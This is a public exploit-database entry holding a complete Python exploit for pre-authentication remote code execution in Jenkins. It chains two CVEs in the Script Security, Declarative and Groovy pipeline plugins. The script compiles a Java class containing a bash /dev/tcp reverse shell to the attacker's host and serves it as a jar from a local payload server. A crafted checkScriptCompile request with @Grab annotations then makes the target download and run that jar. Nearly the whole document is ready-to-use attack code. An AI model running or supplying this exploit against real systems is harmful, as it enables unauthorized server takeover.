Jenkins Plugin Script Security 1.49/Declarative 1.3.4/Groovy 2.60 – Remote Code Execution

  • 作者: wetw0rk
    日期: 2019-02-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46453/
  • #!/usr/bin/env python
    #
    # Exploit Title : jenkins-preauth-rce-exploit.py
    # Date: 02/23/2019
    # Authors : wetw0rk & 0xtavian
    # Vendor Homepage : https://jenkins.oi
    # Software Link : https://jenkins.io/download/
    # Tested on : jenkins=v2.73 Plugins: Script Security=v1.49, Pipeline: Declarative=v1.3.4, Pipeline: Groovy=v2.60,
    #
    # Greetz: Hima, Fr13ndzSec, AbeSnowman, Berserk, Neil
    #
    # Description : This exploit chains CVE-2019-1003000 and CVE-2018-1999002 for Pre-Auth Remote Code Execution in Jenkins
    # Security Advisory : https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266
    #
    # Vulnerable Plugins -
    # Pipeline: Declarative Plugin up to and including 1.3.4
    # Pipeline: Groovy Plugin up to and including 2.61
    # Script Security Plugin up to and including 1.49
    #
    #
    # Credit Goes To @orange_8361 & adamyordan
    #
    # http://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
    # http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
    # https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
    
    import os
    import sys
    import requests
    import random
    import SimpleHTTPServer
    import SocketServer
    import multiprocessing
    
    class exploit_ya_bish():
    
    def __init__(self, rhost, rport, lhost, lport):
    self.rhost = rhost
    self.rport = rport
    self.lhost = lhost
    self.lport = lport
    self.pname = ""
    
    # evil_server: server to host the payload
    def evil_server(self):
    handler = SimpleHTTPServer.SimpleHTTPRequestHandler
    httpd = SocketServer.TCPServer((self.lhost, 80), handler)
    httpd.serve_forever()
    return
    
    # gen_payload: generate payload and start web server
    def gen_payload(self):
    self.pname = ''.join(
    [
    random.choice(
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    "abcdefghijklmnopqrstuvwxyz"
    ) for i in range(random.randint(1, 25))
    ]
    )
    
    home = os.getcwd()
    os.makedirs("www/package/%s/1/" % self.pname)
    os.chdir("www/package/%s/1/" % self.pname)
    
    pfile= 'public class %s {\n' % self.pname
    pfile += 'public %s() {\n' % self.pname
    pfile += 'try {\n'
    pfile += 'String payload = "bash -i >& /dev/tcp/{:s}/{:s} 0>&1";\n'.format(self.lhost, self.lport)
    pfile += 'String[] cmds = { "/bin/bash", "-c", payload };\n'
    pfile += 'java.lang.Runtime.getRuntime().exec(cmds);\n'
    pfile += '} catch (Exception e) {\n'
    pfile += '}\n'
    pfile += '}\n'
    pfile += '}\n'
    
    print "{1} generating payload"
    fd = open('{:s}.java'.format(self.pname), 'w')
    fd.write(pfile)
    fd.close()
    
    os.makedirs("META-INF/services/")
    os.system("echo %s >META-INF/services/org.codehaus.groovy.plugins.Runners" % self.pname)
    os.system("javac -Xlint:-options -source 6 -target 1.6 %s.java" % self.pname)
    os.system("jar cf %s-1.jar ." % self.pname)
    
    print "{2} starting evil payload server"
    os.chdir("%s/www" % home)
    jobs = []
    for i in range(1):
    p = multiprocessing.Process(target=self.evil_server)
    jobs.append(p)
    p.start()
    
    os.chdir(home)
    
    return
    
    def exploit(self):
    self.gen_payload()
    
    cookies = \
    {
    'JSESSIONID.wetw0rk!': 'XXXXXXXXXXXXXXXXXXXXXXXX',
    }
    
    headers = \
    {
    'Host': '{:s}:{:s}'.format(self.rhost, self.rport),
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    }
    
    print "{3} as easy as 1,2,3 triggering now"
    response = requests.get(
    (
     'http://{:s}:{:s}/securityRealm/user/admin/descriptorByName/'
     'org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value='
    '@GrabConfig(disableChecksums=true)%0a'
    '@GrabResolver(name=%27{:s}%27,%20root=%27http://{:s}%27)%0a'
    '@Grab(group=%27package%27,%20module=%27{:s}%27,%20version=%271%27)%0aimport%20Payload;'.format(
    self.rhost, self.rport,
    self.pname,
    self.lhost,
    self.pname
    )
    ),
    headers=headers,
    cookies=cookies,
    verify=False
    )
    
    return
    
    def main():
    try:
    rhost = sys.argv[1]
    rport = sys.argv[2]
    lhost = sys.argv[3]
    lport = sys.argv[4]
    except:
    print "Usage: ./%s <rhost> <rport> <lhost> <lport>" % sys.argv[0]
    print "MAKE SURE U GOT A LISTENER HOMIE!!"
    exit(-1)
    
    start = exploit_ya_bish(rhost,rport,lhost,lport)
    start.exploit()
    os.system("rm -r www")
    
    main()